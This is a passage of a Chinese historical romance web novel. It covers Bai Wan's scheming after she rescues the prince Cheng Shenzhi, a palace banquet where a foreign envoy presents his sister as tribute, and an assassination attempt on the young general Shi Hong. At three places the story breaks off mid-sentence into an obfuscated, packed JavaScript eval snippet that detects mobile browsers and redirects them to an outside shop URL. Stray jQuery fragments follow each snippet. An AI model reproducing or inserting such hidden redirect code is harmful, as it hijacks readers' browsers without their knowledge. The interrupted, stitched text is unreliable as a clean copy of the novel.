白挽握紧草药,心中难掩惋惜:这男子虽气度凛然,但在如此猛烈追击下,只怕是命不久矣,今日也算是在劫难逃了。
她正思量着,如何在他身故后上前收敛财物,也算全了一场缘分,不料几息之间,竟是峰回路转!
程慎之竟借马匹惊狂之势,一举甩脱身后追兵。虽坠马撞树昏死过去,却尚存一息。
战马吃痛受惊,疾跑进了树林深处,再没了踪影。
白挽眼见那人跌落的树丛不远,轻脚摸上前去一探,这人竟还有呼吸。望着这张脸,她心底第一次涌起真实的佩服,这人,当真有几分硬气。
她深知人的性命有多么的脆弱,而这男子浑身是伤,左肩血流未止,竟还能活下来。
莫非,这真是上天赐予她的机缘?
白挽丢开药篓,试图搬动这如天神般降临的男子。可程慎之即便重伤昏迷,终究是历经沙场的成年武将,岂是她一个女子能轻易挪动的?
万般无奈之下,她只得将现场稍作遮掩,一步三回头地赶回家中求助白父。
闻讯前来的白父一眼便看出此人非富即贵。程慎之周身用度皆非凡品,腰间那条雕纹羊脂白玉带,更非寻常人家可有。白父几度心生贪念,却皆被白挽坚决拦下。
只因那惊鸿一瞥,她已倾心于他。
父女二人连夜商议,在程慎之苏醒前便编好一套说辞。于是,当程慎之睁开双眼,第一眼见到的便是伪装成猎户的白父,白挽也顺理成章地进入他的视线,随他入营,被奉为上宾。
而直至入营,白挽这才知晓,自己一眼相中的男子,竟是威震边关的安南王世子程慎之!
同时她也才骤然意识到,程慎之所征讨的,正是她出身的异族部落。
只稍作犹豫,白挽便下定决心——他们父女早已被部族抛弃,异族战士的生死,于她何干?
在那不久,京州传来边关大捷的喜讯。
安南王世子程慎之率军大破异族,圣心大悦。期间,白挽虽因异族面容在营中屡遭质疑,但将士们得知她父女救下世子,又见她对本族战士的命运漠不关心,便也渐渐接纳了她的存在。
闲谈之间,军中难□□传起关于这位唯一女子的风言风语。程慎之虽多次当众澄清,私下的议论却未曾停歇过。
他对白挽父女心存感激,因此即便白挽偶尔提出些许要求,只要不逾矩,他都愿尽力满足。然而这份出于道义的回报,却让白挽在错觉中越陷越深。
在她看来,程慎之地位尊崇,待外人皆冷淡疏离,唯独对自己有求必应、温柔有加,这难道还不足以证明她的与众不同吗?
沉浸在这份“特殊”中的白挽,再也看不见其他,仿佛那飞上枝头变凤凰的美梦,已是触手可及!
军队拔营当日,白挽恃宠生娇,决意再次试探。她向程慎之婉言道,父亲年迈不愿远行,愿得些金银在此颐养天年。而自己身为清白女子,若独自与将士同行,恐惹非议,坏了名节。
她眸光流转,提议道:曾闻有一种纱质小轿可架于马后,以轻纱遮盖,既避人耳目,又不失体统,以此方式随行进京,最为相宜。
程慎之原本已备好舒适马车供她使用,但见白挽一再坚持,又不愿在这些小事上委屈她,便应了她的请求。他让大军先行出发,自己与白挽推迟半日,请当地相熟的工匠特制了那顶纱轿。
至此,得了小轿的白挽更是得意,自以为已牢牢牵住了程慎之的心。只消这一路上再稍下功夫,待回到京州,踏入王府岂非易如反掌?
甚至,说不定世子妃之位……
怀揣着这般心思,她言行举止越发张扬,仿佛荣华富贵已近在眼前。
一路上流言纷起,程慎之却一心返京,未加理睬。这无声的沉默让白挽更觉胜券在握。也正是在众人的议论声中,她第一次听到了世子妃宁鸾的名字。
外间皆传世子与王妃青梅竹马,情谊深重,是天造地设的一对。她故作无意,在程慎之面前提起宁鸾,不料他竟罕见地动了气。
“休要再提。”说罢竟是拂袖而去。
白挽心中得意更甚,只觉那宁鸾不过是仗着门第赐婚,运气好些的高门贵女罢了。她暗自打探,得知程慎之竟未纳一妾,更是心驰神往。
若是因皇命亲赐,不能轻易休妻,留着那世子妃也无妨。自己即便身为侧妃,也是极好的。那宁鸾既无子嗣傍身,又无世子宠爱,待她白挽进府,届时,世子妃也不过是个空占名号的摆设罢了
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16576069|187118||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
!
……
然而第一次,白挽清晰地感到,事情正脱离她的掌控。
那日她静立世子府门前,满心以为程慎之会亲自迎她入府,甚至幻想他会力排众议,恳求她这位“恩人”执掌中馈。
可实际上,程慎之几乎迫不及待地地越过所有人,将宁鸾紧紧拥入怀中。
他怀中的宁鸾气质高贵,温婉美丽,举一举一动皆显修养气度。白挽眼里看着,只觉得有一团鬼火缠绕着她的心脏,灼灼燃烧。
她看到那一瞬间,程慎之冷峻的眉眼骤然柔和,动作间带着自己都未曾察觉的温柔与思念。
而宁鸾呢?白挽看得分明,宁鸾怔愣站在原地,眸中竟没有丝毫对世子的爱意,只有掩饰不住的错愕,甚至是……微不可察的抗拒。
这样的女子,怎配站在他的身边!
白挽深吸一口气,水葱似的指甲深深嵌入掌心。她强压下心头灼烧的妒火,尽力扯出一抹天真笑意。
要得到想要的一切,就必须先在王府立足,要留住他的温柔,就必须以最柔婉动人的姿态面对他!
在今日之前,白挽也一直都是这样做的。
但是,所有的忍耐,所有的期望,在得知程慎之被圣上亲封为镇南王后,彻底按捺不住了。
程慎之不仅俊漠出众,文武双全,未纳侧室,更得圣上器重!如今从世子一跃成为王爷,简直是天下女子梦寐以求的郎君!
相比于朝中贵女,白挽深知,自己最大的筹码便是那份恩情。
今夜,她换上一袭樱桃红长裙,刻意勾勒出诱人身段,只为他能多看自己一眼。一下午在厨房忙碌,精心熬制清火滋补的汤品,只盼以细腻心意打动程慎之看似冰冷的心。
既然上天赐予她救下这般完美男子的机缘,她就一定要把握命运,将人生牢牢攥在自己手中!
于是此刻,面对程慎之刻意的疏离,白挽恍若未见。她稳住心神,脸上扬起娇羞动人的笑容:“王爷整日操劳,实在辛苦,奴家看了心疼。”
莲步轻移,白挽将汤羹放在桌案上。
“奴家借住在此,也帮不上什么忙,只得做些小巧功夫,若能替王爷解乏一二,便是这汤羹的荣幸了。”
“劳白姑娘费心了。”
程慎之此刻并未觉察白挽心中的弯绕,只是被打断了思绪,略显烦闷。他抬头看到汤羹,面色稍缓,也不忍拂了白挽好意,伸手去端。
白挽巧笑嫣然,看准时机同时伸出双手。青葱手指托起汤盅边缘,恰好碰到程慎之带茧的指尖。
“奴家冒昧!还请王爷赎罪。”白挽娇呼一声,故作惶恐地俯身下拜。
弯腰间,绯红裙摆摇曳晃动,一抹雪色肌肤自领口若隐若现,恰好落入程慎之眼底。
“王爷,奴家久居山林,不识京中风物人情,全赖王爷顾念旧恩,才有幸侍奉左右。”
白挽声音酥软,眼中泪光盈盈,不等程慎之回应,她仰起脸来,露出一段欣长的脖颈,像是哀鸣婉转的天鹅。
“奴家父亲让王爷带奴家进京,也不过是盼着奴家能在京城寻得一处安身立命之所。王爷让奴家得以长居府中,所能做的,也不过是在饮食起居间略尽绵薄之力。”
“还请王爷怜惜奴家的一片心意吧。”白挽尾音打着颤,像是钩子裹着蜜糖,一寸寸撩人心弦。
程慎之脸色愈发冷峻,双眼像是被寒冰浸透,无声无息间便盯住了白挽的眼。
白挽心头微颤,却仍不肯退却。那时边境初遇,他不也曾这般冷若冰霜?
她暗自宽慰自己,腰身却放得更软,愈显得柔弱无依、楚楚动人。
程慎之垂眸凝视着她,指节轻击桌案,始终未发一言。
10. 寒髓珍玉
烛影摇红,映照书房一片暖色。
白挽抬手轻抹眼尾,入手一片湿润。
“王爷……”她声音楚楚可怜,却仍忍不住抬眼望向她心中的战神。
“白姑娘。”程慎之忽然起身,身上绣线密织的鹤影在烛光中暗自流光,“你们父女的救命之恩,本王一直铭记于心。”
他缓步走到白挽面前,声音平静却不容置疑,“你且在府中安心住下,一切衣食起居自有人打理,不必再多费心了。”
他垂眸看向眼中含泪的白挽,目光掠过她发间那支振翅欲飞的鎏金蝴蝶簪,眉目不自觉地柔和了几分。
“至于你父亲所托婚配之事,本王也会请王妃代为留意,选出品貌皆佳的世家公子,供你挑选相看。”
“可是王爷,奴家别无他求,只愿……”白挽声音更软,想借着深夜向面前之人倾诉衷肠。
“夜已深了。”程慎之截断她的话,“白姑娘早些回去歇息吧。”
窗外凉风吹过,烛火跳动,将白挽的影子在地面上颤得扭曲。
白挽轻咬银牙,犹豫一瞬,终是缓缓起身。裙裾落在青石地砖上,拖出一个不舍的弧度。她略一福身:“今日之事,是奴家僭越了,还请王爷……早些休息。”
说罢,白挽披着一身夜色离去,那只金蝶也随之飞远。
不过片刻,早已候在廊外的王叔悄然而入,主仆二人低语良久。
……
程慎之回到卧房时,宁鸾已然熟睡。
卧房内并未点灯,空气中弥漫着一种青松般清新的甜香。程慎之立于床前,身影被月光拉得修长。
借着微弱的光,他看到那条红绸依然如楚河汉界,牢牢横跨在床铺中间,不声不响将两人隔开分明的界线。
程慎之静静凝视着宁鸾熟睡的侧脸,纤长的睫毛在她脸上投下细碎阴影,一头青丝散漫开来,挡住白皙精致的脸庞。
宁鸾将自己严严实实地裹在被中,怀里紧拥着半只软枕,呼吸轻缓得几不可闻。
程慎之眸光眸光微暗,他知道,她一向如此。越是无人可依,越是将自己抱得更紧。
程慎之在床前伫立良久,内心天人交战。终是难以按捺那份汹涌的冲动,俯身伸出修长的手指,想要触碰那张近在咫尺的容颜。
然而,指尖终究停在那道红绸前,不敢再逾越一步。
寂静的夜晚,传来一声微不可闻的叹息。
程慎之收回颤抖的手,手背却不经意碰到枕上一件冰凉的物事。他俯身借月光细看,那是一块白色镂雕的玉佩,触手生凉,质地非凡。
稍加犹豫,程慎之拿着玉佩起身出门,就着廊下灯笼的暖光细细端详。
玉佩圆润莹白,雕着大鹏金翅鸟的图案,翅尖坠北斗七星图,身下云纹缭绕,取的是“鹏程万里”的好意头。
他曾在古籍中见过,此玉名为寒髓珍玉,取自昆仑雪山冰魄结晶。这玉料通体莹白,隐现冰晶纹理,人手触其上如握冰霜。长期佩戴,有静心凝神、消暑清热之效。
因其极难开采,稍有不慎便会玉毁人亡,所以寒髓珍玉世间罕见,千金难寻,非王公贵族不可得。
程慎之可以断定,就算在堆金砌玉的皇宫里,也难寻这般品相极佳的寒髓珍玉。
如此珍贵之物,就这么轻描淡写放在他的枕上。
程慎之眸色微深,不敢再深想。回房后,他将玉佩仔细收入枕下,和衣而卧。
一夜好眠。
……
第二日清晨。
白挽早早起床,换上一身素雅的藕荷色襦裙,外罩浅色高领广袖衫,唯有衣领角落处绣了几朵紫色丁香,显得格外端庄规矩。
她将发丝打理得一丝不苟,发中只插了一支素色玉簪,腕间戴着素银绞丝镯,与昨日艳丽装扮判若两人。
算准程慎之晨练归来的时间,白挽走到回廊拐角处静静等待。
“王爷。”见那挺拔身影走近,白挽端庄福身,脸上挂起甜美笑容,“奴家昨日多有冒犯,正想去和王爷王妃请罪,不想在此巧遇王爷,实在惭愧。”
程慎之脚步微顿,一身劲装还带着蒸腾的热气。他略一点头,“无妨。”说罢便要提步离去。
“王爷!”白挽急忙唤住他,声音越发婉转动听,“奴家来京州多日,还未曾领略京中风物,心中好奇。今日可否容奴家去坊市一观?”
“自然可以。”程慎之稍加思索,“不过京州不比边关,坊市鱼龙混杂,我派两名亲兵随你同行。”
白挽低眉顺眼的应了,藏在袖中的手指却微微收紧,指甲在掌心留下几道月牙状的红痕。
她望着程慎之远去的背影,暗自紧咬银牙。
慢慢来,还有时间,她在心中默念。只是,若程慎之一直这般客气疏离,那她所求的一切,只会越来越远。
……
用过早膳,白挽便带着人出府了。随行的不仅有程慎之安排的两名亲兵,还有平日伺候她起居的丫鬟阿兰。
京州中心坊市热闹非凡,绸缎庄内夫人们挑选着流光溢彩的锦缎,香料铺奇香四溢,远远便能闻到。
白挽突然停住脚步,一座碧瓦朱檐的高楼在坊市中格外出挑。
周边商铺不过三层,而这楼却足有七层,雕梁画栋,层楼叠榭,气势非凡。抬头望去,鎏金门匾上正是“望春楼”三个大字。
未等白挽细细打量,前方摊位上突然传来一阵喧哗声。白挽向前看去。
只见几个商人黑纱蒙面,长袍裹身,正用蹩脚的官话叫卖着奇异商品,被好奇的人群团团围住。
白挽看清他们的打扮和货物,下意识向前几步,看清后瞬间瞳孔骤缩。
摊位上摆放的物品,旁人或许不识,可她却一眼认出,这些都是异族祭祀时,特有的拜神之物!
“怎么会……”白挽浑身一颤,恍惚间仿佛又见故乡村庄燃起熊熊大火。
神情恍惚下,她拿起摊位上镶嵌海蓝宝珠的黑底手鼓打量,鼓面上仿佛映出了村民们几近癫狂的模样。
“此物名为海蓝秘音鼓。”一道柔和的女声传来,说的却是标准的京州话。
白挽抬眸看去,见说话的正是被商人们护在中心的那名矮小商人。
她竟是个女子!
“传闻,深海之中亦有异族,其名为鲛。鲛人是大海的使者,他们若是悲伤到极致,落泪滴下便会凝成海蓝宝珠。”
女商人声音空灵和缓,带着笑意娓娓道来。“宝珠价值万金,可代价是流泪的鲛人将会永远失去光明。她们只能日夜以秘音呼唤同伴,吸引渔船,然后——残忍捕食。”
白挽抬头与女商人四目相接,这才惊觉,她竟生着一双如深海般辽阔的蓝色眼眸。
她竟是“蓝影”!
异族部落上百余个,星罗棋布,各有脾性。
百余年来,各部各自为战,内斗不休,面对蜀西大军时,往往如一盘散沙。然而异族战士生于马背,体魄强健,即便在蜀西重甲铁骑的压制下仍顽强抗争,勉强御敌。
直至数年前,异族中崛起一支极具统领之才的族人。他们没有强劲的体格,却以极强的战略手段和精妙的军事部署扬名。
在蜀西的强势进攻下,“蓝影”指挥各部逐点击破,反败为胜,令濒临溃败的异族重振雄风。
更有传言说,他们可以操控人心。
这支异军突起的统帅,被各部尊称为“蓝影”。
多年的养精蓄锐,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16576070|187118||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
让异族大军被淬炼得勇猛异常。各部对“蓝影”由衷尊崇,狂热者甚至视若神明,日日顶礼膜拜。他们期盼蓝影能带领异族开疆拓土,终有一日将蜀西国纳入囊中。
而如今,蓝影族人竟已悄然抵达京州城。
——
宁鸾醒来时,身侧床榻早已凉透。
身边床铺叠得整齐,唯有昨晚放在枕上那块寒髓珍玉不见踪影。她指尖抚过红绸褶皱,唇角扬起一丝笑意。略加梳洗后,她便着手安排起今夜的宫宴事宜。
青露从外边进来,悄悄从袖中取出一封密信,小声道:“小姐,望春楼递来的消息。”
宁鸾拿过信件,展信是青霜熟悉的笔迹。青霜向来事无巨细,除去汇报望春楼中需宁鸾定夺的事务外,更是花费大量笔墨,着重写了她这几日跟踪时鸿小将军的所见所闻。
从时鸿小将军房内“剑窟”般的布置,到床下暗室启动机关的手法方式,甚至记录了时厉东老将军训人的语气神态,应有尽有。
“这丫头……”宁鸾指尖轻点信件最后几行,神情微妙,那是青霜被发现行踪,自行请罪的字句。
“小姐,那边怎样?”青露眼见宁鸾表情怪异,陷入沉思,只当是任务不顺,连忙问道。
“青霜无恙,就是任务中出了些许意外。待宫宴结束,我们去一趟望春楼。”宁鸾沉吟片刻:
“磨墨。”
不过须臾,她已提笔写下回信,笔锋转折间,既未批评苛责,也未提及惩罚,只道万事小心。
……
暮色沉沉,百盏宫灯亮起,鎏金殿内灯火辉煌。数十名宫女手捧金壶玉盏,静立两侧。
文武百官各携家眷,按品着端庄礼服,在鎏金大殿内依次落座。
“皇上驾到——”太监尖细的唱名声从殿前传来,皇帝身着明黄龙袍,头戴垂珠冕冠,从大殿一侧信步走出。
“众爱卿平身。”
宁鸾抬眼看向这位九五之尊。龙椅上的天子年过五旬,双鬓微霜,眼含浑浊之色,与几年前宁鸾印象中那精神矍铄的样子相去甚远。
“此番攻破异族南部部落,收复七城,实乃我朝之幸事!”皇帝缓缓起身举杯,“今日为功臣——镇南王庆功,众卿不必拘礼!”
一时间,殿内丝竹悠悠,彩裳舞姬翩然起舞。宁鸾忽觉人群中一道视线若有若无扫来,环顾四周,竟发现来自小将军时鸿。
被认出来了?宁鸾状若害羞,以宫扇轻掩容颜。
时鸿坐在宴厅的另一端,自见到宁鸾身影起便心如擂鼓、目光难移。
他自知这般注视不仅冒昧,更于礼不合,却越看越觉那眉目异常熟悉,仿佛似曾相识。可自程慎之去往边关三年,宁鸾作为女眷从未独自参加宫中任何宴席,二人之间并无交集才对。
未等时鸿理清思绪,酒过三巡,殿外盛放的焰火将夜宴推上顶端。
“报——南部异族使者到!”太监高声通传,让殿内热烈的气氛停滞了一瞬。
一队异族打扮的人鱼贯而入。为首那人缠着黑色头巾,额上纹着狼形图腾刺青盘踞,在殿内显得格外妖异刺目。
“禀圣上,南部七城联名请献降书,并进献我族特有珍宝,还请圣上垂怜笑纳。”
说着,为首那人带领队伍,以异族礼仪向皇帝行礼。礼毕后,他捧上一副竹制的降书,静静等待着皇帝开口。
皇帝示意太监接过,粗略一看,连连以手击案,朗声大笑道:
“极好!极好!异族七城已归属我蜀西,往后蜀西以南,异族部落尽收版图,便是指日可待!”
说罢,他命太监收起降书,带着几分审视与威压,看向为首那人:
“异族使者,报上你的姓名。”
11. 酒宴美人
那异族使者缓缓抬头,额上的狼图腾在灯光下泛着青色幽光。他操着生硬的汉话答道:
“回禀圣上,在下名为耶律·阿尔达,乃七城之首,乌南城城主。”
殿中顿时响起窸窣低语。
程慎之捏着酒杯的手顿时握紧,杯中的酒水洒出几滴。他当然记得这位城主,当年边关冒雨血战,正是这位耶律城主冲锋在前。
那时候的耶律双目赤红,神色如狼,满身带着雄心豪志的冲劲。那次讨伐里,蜀西国一方至少折损两千将士,鲜血染红了整片戈壁。
而眼前宴会中的他,虽依旧如狼般刚烈,却已然失了当初的血性。
耶律抚胸行礼,只沉声开口道:“圣上,这次前来京州,除了献上七城的降书,我们也带来了异族的珍宝,还请圣上过目。”
话音未落,身后壮硕的异族侍者应声而动。两人手捧托盘稳步上前,另有数人推出一个两米高的铁笼,笼上的黑色绸布随风鼓荡,从吹起的一角中,难窥探里面所盛之物。
那耶律望了眼铁笼,神情黯然一瞬,随即示意众人看向托盘,开口介绍。
“启禀圣上,此乃我族圣物,名为''日月玄血珏''”。他掀开其中一盘的赤红锦缎,道:“这一边名为''日''珏。”又捻开另一边的蓝色绸缎,“这一边名为''月''珏”。
他忽然压低声音,语调中带着神秘的韵律。“我们神明喻示,若是星象交错,两珏合璧,可使天地变色,日夜颠倒,昼夜黄昏为之停滞。”
他带领着身旁两位侍者俯身行礼:“现在,特将日月玄血珏进献圣上,愿圣上一统中原,万寿无疆。”
殿中众人纷纷向盘中看去。只见那日珏质地如羊脂白玉,温润无比。月珏色泽如凝血,内里似有脉搏跳动。
两珏纹理相合,路数相通,自有一股玄妙之感。
“善!善哉!”皇帝闻言大喜,命太监呈至御前,细细端详把玩。
程慎之抬头去看,心知那些描述不过是编出来的故事。端详间,却觉得这玉珏颜色比不上寒髓珍玉半分,心中顿时掀起一阵波澜。
他下意识偏头看向宁鸾,却见宁鸾眉头微蹙,眼也不眨地看着那大铁笼。
“圣上,方才所呈,乃第一件宝物。请圣上且看第二件。”耶律迈步向前,眼中闪过一丝痛色,手中猛然扯落笼上黑绸。
黑色帷幕流水般落下,笼中景象乍现。只见铁笼之中,一位金发美人傲然立于中央。
定了定神,耶律闭眼深吸一口气,朗声介绍道:“这是舍妹沙蔓·阿尔达,是乌南城最璀璨的明珠。愿她能侍奉君侧,以悦圣心。”
宁鸾眉头皱得更紧,她向来不喜这般将活人作为礼物的行径。
“咔哒”一声,耶律拉开铁笼闸门。沙蔓从笼中踏出,满殿烛火都为之黯淡。
不同于京州女子的柔美,沙蔓身材高挑,曲线婀娜,步伐极具弹性。她脸庞小巧,鼻梁高挺,肌肤泛着丝绸光泽,充满异域风情。
她穿宝蓝色的紧身上衣,衣上坠着金铃,随着她步伐发出细微的声响。她大胆露出纤细腰肢,湛蓝长裙高高开衩,露出充满力量的长腿。明艳的色彩不断冲击着在场宾客的视线。
宁鸾望向程慎之,见程慎之面色也不佳。二人目光相接,皆在彼此眼中看到同样的漠然与悲哀。
皇帝高坐龙椅之上,此时已看直了双眼,冠冕前的珠帘随着呼吸剧烈晃动。
看到皇帝满意的表情,耶律暗松一口气。他高声道:
“沙蔓不仅是乌南城第一美人,更是南部赫赫有名的舞姬。愿为圣上献舞助兴,请圣上一观!”
“沙蔓拜见圣上。”沙蔓嗓音低哑深沉,听来别有一番韵味,“还请圣上许奴家献上一舞,为今日宴会助兴。”她提起层叠的裙摆,接过旁人递来的手鼓,摆出一个起舞的姿势。
耶律与其他异族侍从分列两侧,低吟起异族古老神秘的歌谣。沙蔓合着歌谣节拍,身若灵豹,在大殿中跳起热情奔放的舞蹈。
她手中鼓点轻响,裙裾随之飞扬,飞速旋转将裙摆舞成怒放的大花。
满殿宾客屏息凝神,连宁鸾都被这惊艳舞姿慑住心神。皇帝浑浊的眼中发出异样的光芒,干枯的手指不住敲打面前的金案。
一舞毕,皇帝连连抚掌赞叹,“美人……不,爱妃的舞姿真当是这世间一绝!”当即赐其御前就座,伴驾于龙椅之侧。
在座明眼人都能看出,皇帝的心思,早已被今晚耀眼的沙蔓夺去了。
宴会进行到这里,差不多进入尾声。皇帝已迫不及待去享用他新得的美人,未再多留便宣告散席。
程慎之为宁鸾披上斗篷,两人正欲离去,忽闻身后传来一声急促的呼唤:
“镇南王妃,请您留步!”
宁鸾闻声回首,迎着走廊下灯笼的亮光,见时鸿正疾步奔来。程慎之剑眉微挑,不动声色地侧身,将她护在身后。
来人程慎之自然认得。边境讨伐时,这位小将军虽称病迟来,却在前线妙计频出,几次埋伏时机之准,连他都曾为之叹服。
认识他程慎之当然没有问题。可是,他口中唤的,偏偏是“镇南王妃”?程慎之眸光骤冷,周身气息愈发凛然。
宁鸾心下无奈,料定时鸿是因她与“林公子”几分神似才贸然追来。可这事程慎之不知,旁人更不知。
她只得端出茫然神色,唇边浮起恰到好处的浅笑,对着时鸿微微行礼道:“时将军。”
时鸿一路穿人群小跑而来,加之酒意上涌,此刻撑膝喘气,满身酒气扑面。
“王……王妃,我是想说,您长得像一把剑,当真好看!”
话音未落,时鸿瞬间感受到程慎之如雪刀般的锐利目光,脊背一凉,下意识打了一个寒颤,忙改口道:“不、不是!是您很像在下的一位故人!”
时鸿自觉越描越黑,抬手抹一把额边的汗水,干笑两声,“故人,故人,嘿嘿。”
开玩笑,别人不知程慎之深浅,他时鸿还能不知道吗?!
世人皆说程世子寡言少语,无甚大才,守边多年,仅能维持两地互不侵扰。后因异族疲惫,才借他时鸿之力拿下七城,夺得战功。
可时鸿是亲历过战场
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16576071|187118||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的人,知晓当初程慎之带走的兵马本就不足,却能在那烽火连天、战事频仍的边境周转自如,天机算尽,既保将士性命,又求一线胜机。
若他是个贪功冒进之人,或许胜利来得更早,却定要以无数将士的性命为代价。
时鸿敬佩他仁德的善举,更是仰慕他排兵布阵的精准盘算。
被这样的人盯上,就像是被潜伏在黑夜里的野兽无声锁定。而此刻,时鸿正是程慎之眼中那个猎物。
宁鸾见时鸿面红语塞,知他一急便口不择言,便轻声解释道:“时将军有所不知,家父宁丞相在朝为官,家中尚有兄弟姐妹,许是将军曾见过,才觉面熟。”
时鸿酒醒了大半,也暗恼今日唐突至极。可醉眼朦胧间,宁鸾侧影与林公子如出一辙,连发丝垂落弧度都相似。他恍然仿佛又看见那日小春台上,执扇笑谈着玄烈剑典故的林公子。
他想还剑之情,品茗说剑,共话杂谈。可那如冰雪寒剑一般的林公子,自那日后见过一次后便消散人间,他屡屡前去蹲守,都再未得见。
今日忽见宁鸾神态身影,一时激动下,竟失态地大喊留人。林公子是个男子,岂是金枝玉叶、风光正盛的镇南王妃?
时鸿你清醒一点!
他慌忙对着宁鸾连连作揖,指尖不自觉搓着衣摆,“王妃说得极是,定是我今晚贪杯,醉眼昏花认错了人。您千万别见怪!”
程慎之冷哼一声,抱臂看向一边。
“无妨。”宁鸾笑笑,扭头看着程慎之。“咱们走吧?”
她一把挽过程慎之的手臂,程慎之眸光微怔,再顾不得其他,“走。”
二人相携离去,留时鸿挠头呆望背影。
“可就是很像嘛……”
……
时鸿回到将军府中,时厉东早已歇下。。
朝中皆知老将军年岁已高,当年征战前方,提携玉龙,为圣上立下汗马功劳。但多年的前线生涯,早已伤及他身体根本。
所以宫中的宴会盛席,时厉东都尽可能称病不去,在府中静养。
时鸿回到自己兵器铺一般的卧房当中,想起今日唐突之举,痛苦掩面大叫:“我怎么能蠢到这个地步啊?!”
不仅给宁鸾留了坏印象,更开罪了程慎之那尊杀神。
时鸿一脸沮丧,凭空挥出几拳。
现在冷静一想,宁鸾性格柔和,温婉端庄,与那日望春楼林公子高傲贵气的模样判若两人,自己当时怎会认错?
哎……
林公子也真好看啊,即便戴着银面具,未见全貌,单是站在那里,就像是他心爱的寒霜冰剑般清冽出尘。那般从容气度,就绝非一般人可比。
林公子允我进旁人都不能进的望春楼顶层。
林公子曾对我展颜一笑。
林公子还费心劳力为我寻剑,最后未取分文!
时鸿躺进床上,打了个滚儿,把头埋进枕头里,自觉忽视了林公子当时说过的“过后再取报酬”,心中蓦然升起一个大胆的想法。
“林公子待我如此……该不会是,看上我什么了吧?!”
12. 青霜月影
青霜早已换了根更隐蔽的横梁蹲守,闻言差点脚下一滑。
这人莫不是疯了?她家主子谪仙般的人物,怎可能看上他什么!
她捂住额头,偷偷向下望去。只见时鸿两眼放空,喃喃自语:“也不对……林公子都不愿见我。”他面露痛苦,似不愿面对这“残酷现实”。
青霜无奈地叹一口气。这人打回府就不太对劲,不仅浑身酒气,还不时痛苦哀嚎,亦或是对着空气打拳,怎么看都像是受了莫大刺激。
“唰唰唰!”
异变突生!三道破空声从下方擦过,青霜心头一紧,忙向下方望去。
只见三枚柳叶短刃破窗而入,直取床上时鸿眉心。
时鸿虽是醉眼迷离,可多年习武,又在杀场历练一遭,对危险的感知力远超常人。杀气骤现,他猛然一震,未及细想便翻滚至床下桌案旁。三道银光闪过,短刃齐齐扎入枕中,刃柄泛着渗人的寒光。
顿时,时鸿酒意尽散,旖念也跑得无影无踪。他反手扣住腰间金鳞剑,这是为了赴宴携带的装饰用剑,剑柄以金丝缠绕,反倒影响手感。
时鸿绷紧神经,警惕打量四周。
青霜亦觉不妙。这飞刃直取性命,若时鸿反应稍慢,早已血溅当场。她扣住暗器,蓄势待发。主子安排她来监视时鸿,未必不是保他性命的意思。
时鸿在明,对方在暗,但若是对方再次痛下杀手,她也可杀对方措手不及。
时鸿略加思索,提剑踏入院落,那银刃从屋外射入,刺客必藏于院中。
树影婆娑,四处一片沉寂,只闻远处几声虫鸣。
门外守夜的侍卫横斜横倒于地,时鸿走上前去一摸,鼻息尚存。约莫是被下了迷魂散之类的药物,稍过时日便能醒来,无甚大碍。
时鸿心下稍安,却不想身后杀机骤现,一柄短刃突兀出现在他颈侧!
时鸿眼中精光一闪,反手提金鳞剑去挡。只听“哐”地一声,刀刃在空中格挡,火星迸溅,碰出寒峭剑光。
时鸿急速转身,来人一身白衣,赫然一副异族面貌。他双手紧握的也并非短刃,而是两柄寒光凛凛的峨眉刺。
那白衣人被长剑抵挡,借势倒退半步,摆出防御姿势,紧盯着时鸿。
时鸿单手持剑,剑尖斜指地面的青石砖。他放缓呼吸,像一头蓄势待发的豹,身上无形剑气纵横。下一瞬,他低举金鳞剑,起手一势“横扫千军”,直劈向那白衣人面门。白衣人双刺交错,脚尖微点侧移,一面格挡,一面如暴雨梨花般用峨眉刺锥向时鸿,一副不达目的誓不罢休的架势。
来回约二十几招,时鸿剑术超绝,借着浑身蛮力,打得白衣人节节败退。青霜早已掀开瓦片,借着夜色和树枝的遮掩翻上屋顶,暗暗观察着两人的战况。
此次暗杀来得蹊跷,她不出面自是最好,待将今夜情况传给主子,自会有擅长打探的侍从们参与行动,打探白衣人来历行踪。
见时鸿争得上风,青霜正欲松一口气,却是见异变突生。
电光石火间,那白衣人看准时机,用尽全力握紧双刺,化刺为矛,精准戳向剑柄七寸。
那金鳞剑本就侧重外观,剑身脆弱,受力竟应声而断!白金色的剑刃猛然弹出,“哐当”一声落在不远处的青石板地面上!
时鸿未曾想会断剑,一时不察,关键时刻竟愣了神!他嘴唇微张,握着剑柄呆站在原地。
他的宝贝金鳞剑!
